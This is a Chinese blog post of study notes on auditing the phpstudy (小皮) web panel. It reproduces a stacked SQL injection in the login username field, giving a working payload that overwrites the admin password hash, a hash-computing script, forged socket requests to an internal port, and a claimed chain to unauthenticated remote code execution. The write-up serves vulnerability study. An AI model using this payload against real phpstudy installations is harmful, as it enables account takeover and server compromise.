文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

我在 bilibili 学代码审计

2023-09-07 05:19

关注

     前几天在 B 站上看到一节录播课,感觉学习到了很多东西,反复观看仍不过瘾,所以决定写下这篇文章以做笔记。

漏洞简介

  漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。

环境搭建

  windows 上实际操作了一下,不方便进行分析

  于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码

  wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh

  修改代码 web/service/app/account.php 中登录的部分

if($type=='login'){    $username = post('username');    $pwd = post('password');    $verifycode = post('verifycode');    $res = Account::login($username,$pwd,$verifycode);    xpexit(json_encode($res));}
fa206790d0fb824367920128050afd79.png

  打开代码 /usr/local/phpstudy/web/service/app/account.php 修改代码

2ab92a2f272947799042fceb89ba9767.png

漏洞复现

windows

  ‍

  在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果

import hashlibstr = "123456"for i in range(0,5):    str = hashlib.md5(str.encode()).hexdigest()print(str)

  ‍

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
f24025e3cbc840af5002c4647a082eb4.png

  虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录

  ‍

Linux

  在用户登录处构造 payload

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
35cf8db8485610b11614cd483e7e7fc3.png

  错误类型并不相同,但也成功的将密码修改

漏洞分析

5ddafd140f505f967de2277bbae429fd.png

  查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090

  9080 对应的是 web 端的信息 8090 对应的是二进制程序

4bc329e5202c2915ccfb5deb4d0e9ee7.png

  外部访问不到 8090 端口 只能再内部构造数据进行通信

0f6041ab43c606b1b603bc37f9a9f175.png

  项目的代码在 /usr/local/phpstudy/web

  web/service/app/account.php

8c40d3cc70d8e4cb7679e2330d222119.png

  web/service/app/model/Account.php

015b6e94fce2d69a42621520f53d1a43.png

  通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理

b0651678ab7a19569b3157cbcaf39700.png

  我们可以根据代码逻辑伪造 socket 请求

{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
2aaf8d6312a600fefe1ef3de7c195fc0.png

  利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload

{"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
6a8c5ef211b6f1b6b57e3b23264122c7.png

  获取到登录时对应的 SQL 语句

SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0

  根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。

  这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

  拼接到 SQL 语句中就为

SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0

  最终执行的 SQL 语句为

SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';

  将用户 admin 的 密码修改为了 123456

  再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。

  第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误

e14a0a9f4d96c4f000326264787b153b.png

  输入构造的 payload

5df660abe8ec7dd1c7adad41d54566ed.png

  再次利用 admin/123456 登录成功,用户的密码已经被修改

05ede20b0bd24e461d506477af3b1eac.png 2b41c3b2f6f26656242cffd5b7b84a38.png

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

745ec04381581ff8fb31f754cbcc32e8.gif

靶场实操,戳“阅读原文“

来源地址:https://blog.csdn.net/qq_38154820/article/details/129965079

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯